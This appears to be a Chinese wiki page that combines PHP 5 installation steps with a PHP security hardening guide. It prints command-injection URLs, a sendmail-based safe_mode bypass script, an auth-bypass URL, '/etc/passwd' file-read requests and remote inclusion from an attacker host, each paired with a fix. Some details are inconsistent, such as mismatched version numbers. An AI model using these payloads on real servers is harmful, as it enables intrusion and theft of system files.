1.首先下載PHP 5.2.5 (http://www.php.net/downloads.php)
本文PHP安裝路徑取為c:\php
2.下載後得到php-5.1.2-Win32.zip,直接全部接壓至c:\php\目錄即可得PHP文件存放目錄c:\php;
3.再將c:\php\下的所有dll文件拷到c:\Windows\system32(win2000系統為 c:/winnt/system32/)下,覆蓋已有的dll文件;
4.將php.ini-dist用記事本打開,利用記事本的查找功能搜索並修改:
搜索 CODE: register_globals = Off
將 Off 改成 On ,即得到register_globals = On;
注:這個對應PHP的全局變量功能,考慮有很多PHP程序需要全局變量功能故打開,打開後請注意-PHP程序的嚴謹性,如果不需要推薦不修改保持默認Off狀態
再搜索 CODE: extension_dir =
並將其路徑指到你的 PHP 目錄下的 ext 目錄,修改為extension_dir = "c:/php/ext"
在c:\php下建立文件夾並命名為tmp
查找 CODE: ;upload_tmp_dir =
將;upload_tmp_dir該行的注釋符,即前面的分號“;”去掉,使該行在php.ini文檔中起作用。upload_tmp_dir是用來定義上傳文件存放的臨時路徑,在這裡你還可以修改並給其定義一個絕對路徑,這裡設置的目錄必須有讀寫權限。
這裡我設置為upload_tmp_dir = c:/php/tmp (即前面建立的這個文件夾)
搜索找到 CODE: ;Windows Extensions
將下面一些常用的項前面的;去掉
CODE: ;extension=php_mbstring.dll CODE: ;extension=php_curl.dll CODE: ;extension=php_dbase.dll CODE: ;extension=php_gd2.dll
這個是用來支持GD庫的,一般需要,必選
CODE: ;extension=php_ldap.dll CODE: extension=php_zip.dll CODE: ;extension=php_mysql.dll
去掉前面的";"
查找 CODE: ;session.save_path =
去掉前面;號,本文這裡將其設置置為
session.save_path = c:/php/tmp
其他的你可以選擇需要的去掉前面的;然後將該文件另存為為php.ini到C:\Windows ( Windows 2000 下為 C:\WINNT)目錄下,注意更改文件後綴名為ini,得到C:\Windows\php.ini ( Windows 2000 下為 C:\WINNT\php.ini)
一、Web服務器安全
PHP其實不過是Web服務器的一個模塊功能,所以首先要保證Web服務器的安全。當然Web服務器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web服務器結合,這裡也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現漏洞,受影響的也只有這個禁锢的系統,不會危害實際系統。但是使用chroot的Apache後,給應用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現socket連接,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題
因為php.ini裡的: [mail function] ; For Win32 only. SMTP = localhost ; For Win32 only. sendmail_from = [email protected]
都是針對Win32平台,所以需要在chroot環境下調整好sendmail。
二、PHP本身問題
1.遠程溢出
PHP-4.1.2以下的所有版本都存在文件上傳遠程緩沖區溢出漏洞,而且攻擊程序已經廣泛流傳,成功率非常高.
2.遠程拒絕服務
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本地用戶權限,但是也 能造成拒絕服務。
3.safe_mode繞過漏洞
還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函數增加了第五個參數,由於設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開後面加shell命令就可以了,比如存在PHP腳本evil.php:
執行如下的URL: http://foo.com/evil.php?bar=;/usr/bin/id mail [email protected]
這將id執行的結果發送給[email protected]。
對於4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數,所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令:
注意,下面這兩個必須是不存在的, 或者它們的屬主和本腳本的屬主是一樣 $script="/tmp/script123"; $cf="/tmp/cf123"; $fd = fopen($cf, "w"); fwrite($fd, "OQ/tmp Sparse=0 R$*" . chr(9) . "$#local $@ $1 $: $1 Mlocal, P=/bin/sh, A=sh $script"); fclose($fd); $fd = fopen($script, "w"); fwrite($fd, "rm -f $script $cf; "); fwrite($fd, $cmd); fclose($fd); mail("nobody", "", "", "", "-C$cf"); ?>
還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。
三、PHP本身的安全配置
PHP的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設置了AllowOverride All或Options)進行設置,還可以在腳本程序裡使用ini_set()及其他的特定的函數進行設置。通過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。
如果配置選項是唯一PHP_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之後必須重啟apache才能生效。其中php.ini設置的選項是對Web服務器所有腳本生效,httpd.conf裡設置的選項是對該定義的目錄下所有腳本生效。
如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess文件設置,也可以通過在腳本程序自身用ini_set()函數設定,它們修改的是Local值,改了以後馬上生效。但是.htaccess只對當前目錄的腳本程序生效,ini_set()函數只對該腳本程序設置ini_set()函數以後的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當前源代碼的main.c文件得到所有的選項,以及它的屬性:
grep PHP_INI_ /PHP_SRC/main/main.c
在討論PHP安全配置之前,應該好好了解PHP的safe_mode模式。
1.safe_mode
safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設置。要啟用safe_mode,只需修改
php.ini: safe_mode = On
或者修改httpd.conf,定義目錄: Options FollowSymLinks php_admin_value safe_mode 1
重啟apache後safe_mode就生效了。啟動safe_mode,會對許多PHP函數進行限制,特別是和系統相關的文件打開、命令執行等函數。
所有操作文件的函數將只能操作與腳本UID相同的文件,比如test.php腳本的內容為:
幾個文件的屬性如下: ls -la total 13 drwxr-xr-x 2 root root 104 Jul 20 01:25 . drwxr-xr-x 16 root root 384 Jul 18 12:02 .. -rw-r--r-- 1 root root 4110 Oct 26 2002 index.html -rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
在浏覽器請求test.php會提示如下的錯誤信息:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目錄的UID和腳本UID一致,那麼該文件的UID即使和腳本不同也可以訪問的,不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途,絕對禁止使用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。
如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設置如下選項:
safe_mode_gid = On
設置了safe_mode以後,所有命令執行的函數將被限制只能執行php.ini裡safe_mode_exec_dir指定目錄裡的程序,而且shell_exec、`ls -l`這種執行命令的方式會被禁止。如果確實需要調用其它程序,可以在php.ini做如下設置:
safe_mode_exec_dir = /usr/local/php/exec
然後拷貝程序到該目錄,那麼php腳本就可以用system等函數來執行該程序。而且該目錄裡的shell腳本還是可以調用其它目錄裡的系統命令。
safe_mode_include_dir string
當從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時越過 UID/GID 檢查。
從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。 指定的限制實際上是一個前綴,而非一個目錄名。這也就是說“safe_mode_include_dir = /dir/incl”將允許訪問“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那麼請在結尾加上一個斜線,
例如:“safe_mode_include_dir = /dir/incl/”。
safe_mode_allowed_env_vars string
設置某些環境變量可能是潛在的安全缺口。本指令包含有一個逗號分隔的前綴列表。在安全模式下,用戶只能改變那些名字具有在這裡提供的前綴的環境變量。默認情況下,用戶只能設置以 PHP_ 開頭的環境變量(例如 PHP_FOO = BAR)。
注: 如果本指令為空,PHP 將使用戶可以修改任何環境變量!
safe_mode_protected_env_vars string
本指令包含有一個逗號分隔的環境變量的列表,最終用戶不能用 putenv() 來改變這些環境變量。甚至在
safe_mode_allowed_env_vars 中設置了允許修改時也不能改變這些變量。
雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能對應用帶來影響,所以還需要調整代碼和配置才能和諧。被安全模式限制或屏蔽的函數可以參考PHP手冊。
討論完safe_mode後,下面結合程序代碼實際可能出現的問題討論如何通過對PHP服務器端的配置來避免出現的漏洞。
2、變量濫用
PHP默認register_globals = On,對於GET, POST, Cookie, Environment, Session的變量可以直接注冊成全局變量。它們的注冊順序是variables_order = "EGPCS"(可以通過php.ini修改),同名變量variables_order右邊的覆蓋左邊,所以變量的濫用極易造成程序的混亂。而且腳本程序員往往沒有對變量初始化的習慣,像如下的程序片斷就極易受到攻擊:
//test_1.php if ($pass == "hello") $auth = 1; if ($auth == 1) echo "some important information"; else echo "nothing"; ?>
攻擊者只需用如下的請求就能繞過檢查:
http://victim/test_1.php?auth=1
這雖然是一個很弱智的錯誤,但一些著名的程序也有犯過這種錯誤,比如phpnuke的遠程文件拷貝漏洞:http://www.securityfocus.com/bid/3361
PHP-4.1.0發布的時候建議關閉register_globals,並提供了7個特殊的數組變量來使用各種變量。對於從GET、POST、COOKIE等來的變量並不會直接注冊成變量,必需通過數組變量來存取。PHP-4.2.0發布的時候,php.ini默認配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認值,一般為0,避免了攻擊者控制判斷變量。
解決方法: 配置文件php.ini設置 register_globals = Off。 要求程序員對作為判斷的變量在程序最開始初始化一個值。
3、文件打開
極易受攻擊的代碼片斷: //test_2.php if (!($str = readfile("$filename"))) { echo("Could not open file: $filename \n"); exit; } else { echo $str; } ?>
由於攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:
http://victim/test_2.php?filename=/etc/passwd
如下請求可以讀php文件本身:
http://victim/test_2.php?filename=test_2.php
PHP中文件打開函數還有fopen(), file()等,如果對文件名變量檢查不嚴就會造成服務器重要文件被訪問讀取。
解決方法: 如非特殊需要,把php的文件操作限制在web目錄裡面。 以下是修改apache配置文件httpd.conf的一個例子: php_admin_value open_basedir /usr/local/apache/htdocs
重啟apache後,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會報錯:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免這種問題,前面已經討論過了。
4、包含文件
極易受攻擊的代碼片斷: //test_3.php if(file_exists($filename)) include("$filename"); ?>
這種不負責任的代碼會造成相當大的危害,攻擊者用如下請求可以得到/etc/passwd文件:
http://victim/test_3.php?filename=/etc/passwd
如果對於Unix版的PHP(Win版的PHP不支持遠程打開文件)攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的文件,如http://attack/attack.txt 的內容是,那麼如下的請求就可以在目標主機執行命令ls /etc:
http://victim/test_3.php?filename=http://attack/attack.txt
攻擊者甚至可以通過包含apache的日志文件access.log和error.log來得到執行命令的代碼,不過由於干擾信息太多,有時不易成功。
對於另外一種形式,如下代碼片斷: //test_4.php include("$lib/config.php"); ?>
攻擊者可以在自己的主機建立一個包含執行命令代碼的config.php文件,然後用如下請求也可以在目標主機執行命令:
http://victim/test_4.php?lib=http://attack
PHP的包含函數有include(), include_once(), require(), require_once。如果對包含文件名變量檢查不嚴就會對系統造成嚴重危險,可以遠程執行命令。
解決方法: 要求程序員包含文件裡的參數盡量不要使用變量,如果使用變量,就一定要嚴格檢查要包含的文件名,絕對不能由用戶任意指定。 如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要關閉PHP的遠程文件打開功能。 修改php.ini文件: allow_url_fopen = Off
重啟apache。
5、文件上傳
php的文件上傳機制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時目錄(默認是系統的臨時目錄,如:/tmp)裡的一個類似phpxXuoXG的隨機臨時文件,程序執行結束,該臨時文件也被刪除。PHP給上傳的文件定義了四個變量:(如form變量名是file,而且register_globals打開)
$file #就是保存到服務器端的臨時文件(如/tmp/phpxXuoXG ) $file_size #上傳文件的大小 $file_name #上傳文件的原始名稱 $file_type #上傳文件的類型 推薦使用: $HTTP_POST_FILES['file']['tmp_name'] $HTTP_POST_FILES['file']['size'] $HTTP_POST_FILES['file']['name'] $HTTP_POST_FILES['file']['type']
這是一個最簡單的文件上傳代碼:
//test_5.php if(isset($upload) && $file != "none") { copy($file, "/usr/local/apache/htdocs/upload/".$file_name); echo "文件".$file_name."上傳成功!點擊繼續上傳"; exit; } ?> content="text/html; charset=gb2312">
這樣的上傳代碼存在讀取任意文件和執行命令的重大問題。
一、我們編輯/etc/php5/apache2/php.ini文件,先做一般配置,在改動之前,請先將該配置文件做個備份。以便在出錯的時候可以恢復。
>memory_limit = 8M =>修改成你所需的內存大小 >upload_max_filesize = 2M =>修改文件最大上傳尺寸
>extension=mysql.so 支持Mysql服務 >extension=gd.so 支持gd函數
其實在Ubuntu下,如果你安裝了php5-mysql和php5-gd之後,會自動修改以上二行的,我們做的只不過是確認一下它們前面的注釋符是否去掉。
補充: 1.目前大多數php的open source都是用php4寫的,為了兼容以前的php版本,有時需要將register_long_arrays打開,否則$HTTP_GET_VARS和$HTTP_POST_VARS等變量將無法使用,會出現一些莫名其妙的問題。
2.另外,在裝完php5後最好確認一下/etc/apache2/mods-enabled/下是否有鏈接: php5.load -> /etc/apache2/mods-available/php5.load
二、加固PHP,以增強安全性。
注意,下面的安全性要因情況而定,所以我已經把它們的功能寫清楚了,如果有問題的話,看看是否由於下面哪種限制條件所造成,可相應將其注釋掉。
下面我們開始加固php,我們再次編輯/etc/php5/apache2/php.ini文件,之所以沒有一次改完,主要是為了給大家一個清晰的思路。
1.打開安全模式,打開他的好處就是PHP文件只能訪問所有者和PHP文件所有著一樣的文件,即使在chroot環境下也無法訪問jail中屬主不一樣的文件,類似於php shell這樣的後門就沒用武之地了哦,phpshell是很流行的php後門,他可以執行系統命令,就象他的名字一樣,和shell很接近。
safe_mode = On
2.下面的設置就限制了fopen(), file()等函數可以操作的目錄范圍,避免了入侵者非法讀取文件,一定要在/var/www後面加"/",否則/var/wwww下的文件也能被訪問 。該選項會禁止任何不在/var/www/目錄下的PHP文件運行,包括任何以軟鏈接方式鏈到/var/www/目錄下的程序,如PhpMyAdmin包,就在該選項設定後無法正常運行。
open_basedir = /var/www/
3.禁止使用phpinfo和get_cfg_var函數,這樣可以避免洩露服務信息,一般在在確認PHP能正常工作之後再使之關閉
disable_functions = phpinfo,get_cfg_var
4.設置php程序錯誤日志
error_reporting = E_ALL log_errors = On error_log = /var/log/php_err.log
5.如果php程序沒有指明需要register_globals的話,最好把register_globals設置為Off,這樣可以避免很多安全問題的。注意,如果你的程序是需要register_globals的話,可千萬別關。Ubuntu默認是關閉的。
register_globals = Off
6.禁止打開遠程地址,記得最近出的php include的那個漏洞嗎?就是在一個php程序中include了變量,那麼入侵者就可以利用這個控制服務器在本地執行遠程的一個php程序,例如phpshell,所以我們關閉這個。
allow_url_fopen = Off
下載後得到 ZendOptimizer-3.3.0a-Windows-i386.exe,直接雙擊安裝即可,安裝過程要你選擇 Web Server 時,選擇 Apache 2.x ,然後提示你是否 Restart Web Server,選擇是,完成安裝之前提示是否備份 php.ini ,點確定後安裝完成。我這裡安裝到c:\php5\Zend,如圖4.1所示
圖 4.1 安裝路徑
圖 4.2 服務器類型
圖 4.3 php.ini所在目錄
圖 4.4 Apache所在目錄
圖 4.5 完整安裝信息
Zend Optimizer 的安裝向導會自動根據你的選擇來修改 php.ini 幫助你啟動這個引擎。下面簡單介紹一下 Zend Optimizer 的配置選項。以下為本人安裝完成後 php.ini 裡的默認配置代碼:
Zend Optimizer 模塊在硬盤上的安裝路徑
zend_extension_ts="C:\php5\Zend\lib\ZendExtensionManager.dll"
優化器所在目錄,默認無須修改
zend_extension_manager.optimizer_ts="C:\php5\Zend\lib\Optimizer-3.3.0a"
優化程度,這裡定義啟動多少個優化過程,默認值是 15 ,表示同時開啟 10 個優化過程中的 1-4 ,我們可以將這個值改為 1023 ,表示開啟全部10個優化過程。
zend_optimizer.optimization_level=1023
調用phpinfo()函數後顯示:
Zend Engine v1.3.0, Copyright (c) 1998-2004 Zend Technologies with Zend Extension Manager v1.0.9, Copyright (c) 2003-2006, by Zend Technologies with Zend Optimizer v3.3.0a, Copyright (c) 1998-2006, by Zend Technologies
則表示安裝成功。
取自"http://wiki.lupaworld.com/index.php/PHP_5.x"